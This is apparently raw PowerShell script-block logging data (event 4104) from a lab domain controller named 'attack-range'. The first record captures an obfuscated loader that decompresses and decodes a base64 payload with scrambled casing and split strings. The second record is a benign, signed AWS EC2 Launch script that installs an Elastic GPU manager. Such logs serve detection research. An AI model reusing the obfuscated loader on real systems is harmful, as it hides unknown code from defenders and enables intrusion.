4104132150x0134415Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local11(nEW-obJecT Io.COmpRESSIOn.DefLAtEsTrEAm([io.MEmORYStrEam][sYSTEM.conVeRt]::FroMbAse64StrinG(('VZ'+'Bda9swF'+'Ib/ii4MSshsz'+'6thp'+'cbQI'+'4uGQNkwITQ'+'N'+'g2A'+'rJ5FiWzKOEqeE'+'/P'+'f'+'J'+'W9puuhTPeb+'+'8'+'HN'+'giA8hS+hOmHGKae'+'ArWzP'+'BUY++b'+'co/Ckh9ogxcs'+'s'+'1qht'+'gPgTng'+'E'+'KZ'+'XW'+'toe'+'HM'+'LSy0LKV'+'xnbKyqMIh'+'G'+'nC'+'vvWLTa'+'N0eFc+h'+'4/vZN/3wU'+'700pg'+'W'+'8Q8'+'ndsovHWa'+'/3X9'+'iVipdaV'+'UF'+'ohi'+'ElBb1cYOH8On1'+'jv1DK'+'f22'+'Mb2u'+'TbEJNNp'+'P'+'z6iLo7/c'+'gHVOpsXu4Pz'+'C'+'8940x'+'f0p3JchDeZtreyIPtJx4j'+'Uw'+'hVUfLVNacDg'+'DuCVyqGABJ'+'CU0+j'+'4sA5'+'wDZ'+'8'+'whz+d'+'VlC8i9zd'+'nA'+'Pkq9VCf'+'Ho4H7NrOb'+'FWNE'+'/qL'+'T'+'m4CExrgGW'+'myNR'+'0WQo685TJfG'+'UaUJh9bj'+'i+2e'+'7'+'vctg/'+'4'+'r'+'dSTU3rH'+'v5Cbl8t'+'6c'+'q'+'o9QJzSLM'+'ucCU1mW'+'z'+'Ia'+'TdH'+'6'+'M4vNB'+'x'+'nUq'+'HdWEn+HJ'+'P7q3ph'+'c'+'Z'+'vp'+'k'+'Kvy'+'P'+'c+UZGzqnl'+'Lkw'+'a0a'+'T'+'0k'+'Wt'+'kut'+'VFFbI'+'y'+'/XqzWN'+'uYCpS2'+'q6j3l1xm'+'vw'+'G')) , [iO.cOMPrESsiOn.COmpressionMoDe]::DecOMpREsS)|forEaCH{ nEW-obJecT iO.stReAMREadER( $_ , [sySteM.TexT.EncOdiNg]::ASCII) } | ForeACH{ $_.ReaDToeNd()})ba1718e4-ef3a-4d94-9cd8-d52a63a1bd96 4104132150x0133442Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local12#---------------------------------------------------------------------------------------------------- # # Copyright 2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Customer Agreement (the "License"). # # You may not use this file except in compliance with the License. # # A copy of the License is located at # # http://aws.amazon.com/agreement # # or in the "license" file accompanying this file. # # This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, # either express or implied. See the License for the specific language governing permissions # and limitations under the License. # #---------------------------------------------------------------------------------------------------- function Get-HttpBinaryFile ($url,$proxy,$file) { try { $webProxy = New-Object System.Net.WebProxy ($proxy,$false) $request = [System.Net.WebRequest]::Create($url) $request.Timeout = "120000" $request.Proxy = $webProxy $response = $request.GetResponse() $statusCode = ($response.StatusCode) -as [int] if ($statusCode -ne "200") { return $false; } $stream = $response.GetResponseStream() $ms = New-Object System.IO.MemoryStream $stream.CopyTo($ms) $data = $ms.ToArray() [System.IO.File]::WriteAllBytes($file,$data) return $true } catch { return $false; } } function Send-HttpPostJson ($url,$proxy,$json) { try { $webProxy = New-Object System.Net.WebProxy ($proxy,$false) $request = [System.Net.WebRequest]::Create($url) $request.Method = "POST" $request.ContentType = 'application/json; charset=utf-8' $request.Proxy = $webProxy $stream = $request.GetRequestStream() $streamWriter = New-Object System.IO.StreamWriter ($stream) $streamWriter.Write($json) $streamWriter.Dispose(); $stream.Dispose(); $request.Timeout = "20000" $response = $request.GetResponse() $statusCode = ($response.StatusCode) -as [int] if ($statusCode -ne "200") { return $null; } $reqstream = $response.GetResponseStream() $sr = New-Object System.IO.StreamReader $reqstream $result = $sr.ReadToEnd() return $result } catch { return $null; } } function Pop-DnLexerChar ([System.Text.StringBuilder]$dn) { if ($dn.Length -gt 0) { $res = Read-DnLexerChar $dn [void]$dn.Remove([int]0,[int]1) return $res } throw "Invalid DN - unexpected end" } function Read-DnLexerChar ([System.Text.StringBuilder]$dn) { if ($dn.Length -gt 0) { [char[]]$arr = 'c' [void]$dn.CopyTo(0,$arr,0,1) return $arr[0] } return '`0' } function Skip-DnLexerWhitespace ([System.Text.StringBuilder]$dn) { while ($true) { $c = Read-DnLexerChar $dn if ($c -eq '`0' -or ![System.Char]::IsWhiteSpace($c)) { break } [void](Pop-DnLexerChar $dn) } } function Skip-DnLexerToCommaOrSemicolon ([System.Text.StringBuilder]$dn) { while ($true) { $c = Read-DnLexerChar $dn if ($c -eq ',' -or $c -eq ';') { [void](Pop-DnLexerChar $dn) break } if ($c -eq '`0') { break } if (![System.Char]::IsWhiteSpace($c)) { throw "Unexpected character when comma was expected" } [void](Pop-DnLexerChar $dn) } } function Read-DnAttributeKey ([System.Text.StringBuilder]$dn) { Skip-DnLexerWhitespace $dn if ((Read-DnLexerChar $dn) -eq '`0') { return $null } $attrkey = "" for ($c = (Pop-DnLexerChar $dn); $c -ne '=' -and $c -ne '+'; $c = (Pop-DnLexerChar $dn)) { $attrkey = $attrkey + $c } $attrkey = $attrkey.Trim().ToUpper() if ($attrkey.Length -eq 0) { throw "Invalid DN - empty attribute key" } return $attrkey } function Read-DnAttributeValue ([System.Text.StringBuilder]$dn) { [void](Skip-DnLexerWhitespace $dn) if ((Read-DnLexerChar $dn) -eq '"') { [void](Pop-DnLexerChar $dn) $val = Read-DnAttributeValueWithTerminator $dn '"' '"' [void](Skip-DnLexerToCommaOrSemicolon $dn) return $val } return Read-DnAttributeValueWithTerminator $dn ',' ';' } function Test-DnLexerIsHexDigit ($escaped) { if ([System.Char]::IsDigit($escaped)) { return $true } if ($escaped -ge 'a' -and $escaped -le 'f') { return $true } if ($escaped -ge 'A' -and $escaped -le 'F') { return $true } return $false } function Add-DnLexerPendingWhitespaceToBytestream ([System.Collections.Generic.List[System.Byte]]$byteStream,[System.String]$pendingWhitespace) { if ($pendingWhitespace.Length -gt 0) { $byteStream.AddRange([System.Text.Encoding]::UTF8.GetBytes($pendingWhitespace)) } return '' } function Add-DnLexerBytestream ([System.Collections.Generic.List[System.Byte]]$byteStream,[System.Char]$c) { if ($c -le 0x7f) { $byteStream.Add($c) } else { $byteStream.AddRange([System.Text.Encoding]::UTF8.GetBytes($c)) } } function Read-DnAttributeValueWithTerminator ([System.Text.StringBuilder]$dn,$terminator1,$terminator2) { [System.Collections.Generic.List[System.Byte]]$byteStream = (New-Object System.Collections.Generic.List[System.Byte]) [string]$accumulatedWhitespace = '' while ((Read-DnLexerChar $dn) -ne '`0') { $c = Pop-DnLexerChar $dn if ($c -eq $terminator1 -or $c -eq $terminator2) { break } if ($c -eq '\') { $escaped = Pop-DnLexerChar $dn $accumulatedWhitespace = Add-DnLexerPendingWhitespaceToBytestream $byteStream $accumulatedWhitespace if ((Test-DnLexerIsHexDigit $escaped)) { $next = Pop-DnLexerChar $dn $hex = "" + $escaped + $next $byteStream.Add([System.Byte]::Parse($hex,[System.Globalization.NumberStyles]::HexNumber)) } else { Add-DnLexerBytestream $byteStream $escaped } } elseif ([System.Char]::IsWhiteSpace($c)) { $accumulatedWhitespace += $c } else { $accumulatedWhitespace = Add-DnLexerPendingWhitespaceToBytestream $byteStream $accumulatedWhitespace Add-DnLexerBytestream $byteStream $c } } $str = [System.Text.Encoding]::UTF8.GetString($byteStream.ToArray()) return $str } function Read-DistinguishedName ($rdn) { [System.Text.StringBuilder]$dn = New-Object System.Text.StringBuilder [void]$dn.Append($rdn) $result = @{} while ($dn.Length -gt 0) { $key = Read-DnAttributeKey $dn $value = Read-DnAttributeValue $dn if ($key -eq $null) { continue } [void]$result.Add($key,$value) [void](Skip-DnLexerWhitespace $dn) } return $result } function Test-DnConstraints ($rdn,$constraints) { [System.Collections.Hashtable]$constr = Read-DistinguishedName $constraints [System.Collections.Hashtable]$subj = Read-DistinguishedName $rdn foreach ($kvp in $constr.GetEnumerator()) { if ($subj.ContainsKey($kvp.Key)) { if ($subj[$kvp.Key] -ne $kvp.Value) { [System.Console]::WriteLine("Signature check failed : '$($subj[$kvp.Key])' != '$($kvp.Value)'") return $false } } else { [System.Console]::WriteLine("Signature check failed : $($kvp.Key) field missing") return $false } } return $true } function Test-CertificateIsAws ($file) { $auth = Get-AuthenticodeSignature $file $subj = $auth.SignerCertificate.Subject $dnAws = "CN=`"Amazon Web Services, Inc.`", O=`"Amazon Web Services, Inc.`", L=Seattle, S=Washington, C=US" $dnAmzn = "CN=Amazon Services LLC, OU=Software Services, O=Amazon Services LLC, L=Seattle, S=Washington, C=US" return ($auth.Status -eq "Valid") -and ((Test-DnConstraints $subj $dnAws) -or (Test-DnConstraints $subj $dnAmzn)) } function Get-EgpuSoftwareVersion ($key) { try { $item = Get-ItemProperty -Path ("HKLM:\SOFTWARE\Amazon\EC2ElasticGPUs\$key") -ErrorAction "Ignore" if ($item -eq $null) { return $null } return $item.Version } catch { return $null } } function Install-EgpuManager () { try { $installedVer = Get-EgpuSoftwareVersion "EC2ElasticGPUs_Manager" if (($installedVer -ne "") -and ($installedVer -ne $null)) { Write-Log "ElasticGPU already installed - version $installedVer" throw } $metadataAvailable = Get-Metadata -UrlFragment "meta-data" if ($metadataAvailable -eq $null) { Write-ErrorLog "Metadata cannot be accessed on this instance" throw } $request = Get-Metadata -UrlFragment "meta-data/elastic-gpus/associations/" if ($request -eq $null) { Write-Log "EG is not available on this instance" return $null } $egpu = $request.Split("\r\n")[0] $egpuInfo = Get-Metadata -UrlFragment "meta-data/elastic-gpus/associations/$egpu" $json = ConvertFrom-Json $egpuInfo $proxy = "http://$($json.connectionConfig.ipv4Address):$($json.connectionConfig.port)" $versionsJson = Send-HttpPostJson "http://gam:8080/gam/rest/versions" $proxy "{}" $downloadUrl = (ConvertFrom-Json $versionsJson).components[0].Path $guid = [System.Guid]::NewGuid().ToString("N") $file = "$env:temp\egaim_$guid.msi" $logfile = "$env:temp\egaim_$guid.log" $downloadSuccess = Get-HttpBinaryFile http://gam:8080/$downloadUrl $proxy $file if ($downloadSuccess -eq $false) { Write-ErrorLog "Download failed" throw } $signatureValid = Test-CertificateIsAws $file if ($signatureValid) { Start-Process -FilePath "msiexec.exe" -ArgumentList "/i `"$file`" /qn /log `"$logfile`"" -Wait -PassThru | Out-Null } else { Write-ErrorLog "Signature is not valid" } $installedVer = Get-EgpuSoftwareVersion "EC2ElasticGPUs_Manager" if (($installedVer -eq "") -or ($installedVer -eq $null)) { Write-ErrorLog "ElasticGPUs installation failed ?" } Write-Log "Installed ElasticGPUs manager $installedVer" Remove-Item $file } catch { Write-ErrorLog "Error installing eGPU" } } # SIG # Begin signature block # MIIfJgYJKoZIhvcNAQcCoIIfFzCCHxMCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCAmdxXDkmpM/+sq # XKXQnSkoQciGCmG6fiyS99DVuxPsRqCCDlUwggawMIIEmKADAgECAhAIrUCyYNKc # TJ9ezam9k67ZMA0GCSqGSIb3DQEBDAUAMGIxCzAJBgNVBAYTAlVTMRUwEwYDVQQK # EwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xITAfBgNV # BAMTGERpZ2lDZXJ0IFRydXN0ZWQgUm9vdCBHNDAeFw0yMTA0MjkwMDAwMDBaFw0z # NjA0MjgyMzU5NTlaMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg # UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw # ggIKAoICAQDVtC9C0CiteLdd1TlZG7GIQvUzjOs9gZdwxbvEhSYwn6SOaNhc9es0 # JAfhS0/TeEP0F9ce2vnS1WcaUk8OoVf8iJnBkcyBAz5NcCRks43iCH00fUyAVxJr # Q5qZ8sU7H/Lvy0daE6ZMswEgJfMQ04uy+wjwiuCdCcBlp/qYgEk1hz1RGeiQIXhF # LqGfLOEYwhrMxe6TSXBCMo/7xuoc82VokaJNTIIRSFJo3hC9FFdd6BgTZcV/sk+F # LEikVoQ11vkunKoAFdE3/hoGlMJ8yOobMubKwvSnowMOdKWvObarYBLj6Na59zHh # 3K3kGKDYwSNHR7OhD26jq22YBoMbt2pnLdK9RBqSEIGPsDsJ18ebMlrC/2pgVItJ # wZPt4bRc4G/rJvmM1bL5OBDm6s6R9b7T+2+TYTRcvJNFKIM2KmYoX7BzzosmJQay # g9Rc9hUZTO1i4F4z8ujo7AqnsAMrkbI2eb73rQgedaZlzLvjSFDzd5Ea/ttQokbI # YViY9XwCFjyDKK05huzUtw1T0PhH5nUwjewwk3YUpltLXXRhTT8SkXbev1jLchAp # QfDVxW0mdmgRQRNYmtwmKwH0iU1Z23jPgUo+QEdfyYFQc4UQIyFZYIpkVMHMIRro # OBl8ZhzNeDhFMJlP/2NPTLuqDQhTQXxYPUez+rbsjDIJAsxsPAxWEQIDAQABo4IB # WTCCAVUwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUaDfg67Y7+F8Rhvv+ # YXsIiGX0TkIwHwYDVR0jBBgwFoAU7NfjgtJxXWRM3y5nP+e6mK4cD08wDgYDVR0P # AQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMDMHcGCCsGAQUFBwEBBGswaTAk # BggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMEEGCCsGAQUFBzAC # hjVodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRUcnVzdGVkUm9v # dEc0LmNydDBDBgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsMy5kaWdpY2VydC5j # b20vRGlnaUNlcnRUcnVzdGVkUm9vdEc0LmNybDAcBgNVHSAEFTATMAcGBWeBDAED # MAgGBmeBDAEEATANBgkqhkiG9w0BAQwFAAOCAgEAOiNEPY0Idu6PvDqZ01bgAhql # +Eg08yy25nRm95RysQDKr2wwJxMSnpBEn0v9nqN8JtU3vDpdSG2V1T9J9Ce7FoFF # UP2cvbaF4HZ+N3HLIvdaqpDP9ZNq4+sg0dVQeYiaiorBtr2hSBh+3NiAGhEZGM1h # mYFW9snjdufE5BtfQ/g+lP92OT2e1JnPSt0o618moZVYSNUa/tcnP/2Q0XaG3Ryw # YFzzDaju4ImhvTnhOE7abrs2nfvlIVNaw8rpavGiPttDuDPITzgUkpn13c5Ubdld # AhQfQDN8A+KVssIhdXNSy0bYxDQcoqVLjc1vdjcshT8azibpGL6QB7BDf5WIIIJw # 8MzK7/0pNVwfiThV9zeKiwmhywvpMRr/LhlcOXHhvpynCgbWJme3kuZOX956rEnP # LqR0kq3bPKSchh/jwVYbKyP/j7XqiHtwa+aguv06P0WmxOgWkVKLQcBIhEuWTatE # QOON8BUozu3xGFYHKi8QxAwIZDwzj64ojDzLj4gLDb879M4ee47vtevLt/B3E+bn # KD+sEq6lLyJsQfmCXBVmzGwOysWGw/YmMwwHS6DTBwJqakAwSEs0qFEgu60bhQji # WQ1tygVQK+pKHJ6l/aCnHwZ05/LWUpD9r4VIIflXO7ScA+2GRfS0YW6/aOImYIbq # yK+p/pQd52MbOoZWeE4wggedMIIFhaADAgECAhABe4J3F0ijMMT66O5gzQEfMA0G # CSqGSIb3DQEBCwUAMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg # UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwHhcNMjExMjI4MDAwMDAwWhcNMjMwMTAz # MjM1OTU5WjCB8jEdMBsGA1UEDwwUUHJpdmF0ZSBPcmdhbml6YXRpb24xEzARBgsr # BgEEAYI3PAIBAxMCVVMxGTAXBgsrBgEEAYI3PAIBAhMIRGVsYXdhcmUxEDAOBgNV # BAUTBzQxNTI5NTQxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAw # DgYDVQQHEwdTZWF0dGxlMSIwIAYDVQQKExlBbWF6b24gV2ViIFNlcnZpY2VzLCBJ # bmMuMRMwEQYDVQQLEwpBbWF6b24gRUMyMSIwIAYDVQQDExlBbWF6b24gV2ViIFNl # cnZpY2VzLCBJbmMuMIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAtCrQ # u3fd3L+RmFVifX8P7XsFoqdsNC6J9Gnnw9tIzGwRU5ke3UKljLvIMed9kvTZ196W # JZf/GT6WJIbq2QVRHBFrNzQ24vOtdDJp4vEJN2zTWNoMx2IMrP3u7Arlh8BEuORU # faeZjTFrxG1ZOn2BG8RcaeST+YINZoM6F+tPEzEg7UPbCe6yu1Wztkzj1nadwO9J # A0vPHLsldeSgo5bqXS3KgTkUZQXgNyB7+DtgjFH+slV1CfzA5B20O3CuZq916q7s # 1XaVjtCirDjDXIqeULzLUd6F4gvcHCtPIsPLm9q9vNn9Z7YTXcfbTfIMI/Q5OQKF # i2f5LTEAYwMuQC963rAqSamLxs8u6EMHentmXPpTN7T/iMSRXMsDMn61XCDwkJG0 # IAkyzjfL8NgBn0kc5VZTztnstjwoWvTWHTXUXDPtyIg12vfg5hzLdc1GJhqt1AVA # DDgp4d/k0tvICm1UQMoHqGrZ59zIWEBHq3aNdIiAl2ckMiLYsaf5Tn+FmvRdAgMB # AAGjggI1MIICMTAfBgNVHSMEGDAWgBRoN+Drtjv4XxGG+/5hewiIZfROQjAdBgNV # HQ4EFgQUsPO2uKK+TDLSX5Ez4DXbRIGMdIkwLgYDVR0RBCcwJaAjBggrBgEFBQcI # A6AXMBUME1VTLURFTEFXQVJFLTQxNTI5NTQwDgYDVR0PAQH/BAQDAgeAMBMGA1Ud # JQQMMAoGCCsGAQUFBwMDMIG1BgNVHR8Ega0wgaowU6BRoE+GTWh0dHA6Ly9jcmwz # LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFRydXN0ZWRHNENvZGVTaWduaW5nUlNBNDA5 # NlNIQTM4NDIwMjFDQTEuY3JsMFOgUaBPhk1odHRwOi8vY3JsNC5kaWdpY2VydC5j # b20vRGlnaUNlcnRUcnVzdGVkRzRDb2RlU2lnbmluZ1JTQTQwOTZTSEEzODQyMDIx # Q0ExLmNybDA9BgNVHSAENjA0MDIGBWeBDAEDMCkwJwYIKwYBBQUHAgEWG2h0dHA6 # Ly93d3cuZGlnaWNlcnQuY29tL0NQUzCBlAYIKwYBBQUHAQEEgYcwgYQwJAYIKwYB # BQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBcBggrBgEFBQcwAoZQaHR0 # cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0VHJ1c3RlZEc0Q29kZVNp # Z25pbmdSU0E0MDk2U0hBMzg0MjAyMUNBMS5jcnQwDAYDVR0TAQH/BAIwADANBgkq # hkiG9w0BAQsFAAOCAgEAOLIzfXbFw3b1+5oTm9q/ovV5uSCa26vf0QR+auJmfcaZ # 24S2C3Mlc/TQ9NEodiJd8SJdNGlpGObtQdzi61ykbUGcxR6i4YI8kZ4WerMr5fCd # 4NGRToXmn7ZC9qxhHoMRDOH59W+NY4XkouE79XfQgnNjwVyAorb0oSJ94DS0eBAk # S5Z/aNHeoHSND7CL/BGMKZIfy5oeQudafNOM8dyt9hAqJf+nOrpvOwlLpJgXTYNH # eGxP4cyb3EQTDMrXYxHckSi4usUq1iW5pCdPA/pQt5BNmGoB0azVdA73Vym/UyR5 # vIz+v1OAWaPdvRvm/26hGyr+WzsR6WIzIBg2GB9k0uv+1bKdqL0yu1gNmcV8LZHR # LNTMx1DX85RKjXNcHcQYjDH2R5oy0CHmV7QSwFJAc2a4+h+7TcmZsbdKlPHi6bFW # /G5HDPWt/F9oQ3OZknWdTigo4vuYl7jcpoSMZgBVGv9EXTrpkLaoCxBn48i7UJ8O # gZzskxcjBx9dObtu9kEA1IndCHoqiqFGakdYI2+LjIr+cPT58XvMQjm7sfeeTTTy # +amZ+ONAscTa1y8jOHIycnMZSKjh/OGw0iApuTUREPB68c6tdsjODU5GF8u5k28M # QVuSQzZbKN+t8FyPh2F4HT9tfvTJxSJxArh/YiXqyyjc/B5AIpwxMIHyw22EzbYx # ghAnMIIQIwIBATB9MGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg # SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg # UlNBNDA5NiBTSEEzODQgMjAyMSBDQTECEAF7gncXSKMwxPro7mDNAR8wDQYJYIZI # AWUDBAIBBQCgfDAQBgorBgEEAYI3AgEMMQIwADAZBgkqhkiG9w0BCQMxDAYKKwYB # BAGCNwIBBDAcBgorBgEEAYI3AgELMQ4wDAYKKwYBBAGCNwIBFTAvBgkqhkiG9w0B # CQQxIgQgVdblij4c7PsN9dRxwgJePAVzXjs0pN1ORB7W7FJSWoMwDQYJKoZIhvcN # AQEBBQAEggGAGpmJxcMGBEf6nxG34N5uPuL7yYPxrPMfILMLEmoogRuajhyIzDv3 # m2X0zbFPj9YrrHmnhwEI7v1aOu+/T7/9s9n567qrPGbOY3yteubPESy3PaA/cFur # MKci3gbi0CeZX15zgYcbi9A/B6JfZmQnZjV4b5U/48PCiu2IXwG3Q59pDAARCOPE # tvplQRcWPtO3SKutI3lKBWzGzgVxiBQ5DKyVbDhQeNpz5OcsfeFs8YL4Ef789pUa # vdSALuN9x2EUionoit0rtXsQa45Tc/UqgbQc1AbyubwfMUlx/Az7xCd84JjYN9vf # 8yGnPSvykBQx041C1x+CU79mwc6nI9CG25YLfeusQkKsXundpqZk3+rdi/2TT/nL # 5tYt60GqwafcJiZU1003ff3b-d79b-4e7a-a0f2-f3ecc8fd5bb5C:\ProgramData\Amazon\EC2-Windows\Launch\Module\Scripts\Install-EgpuManager.ps1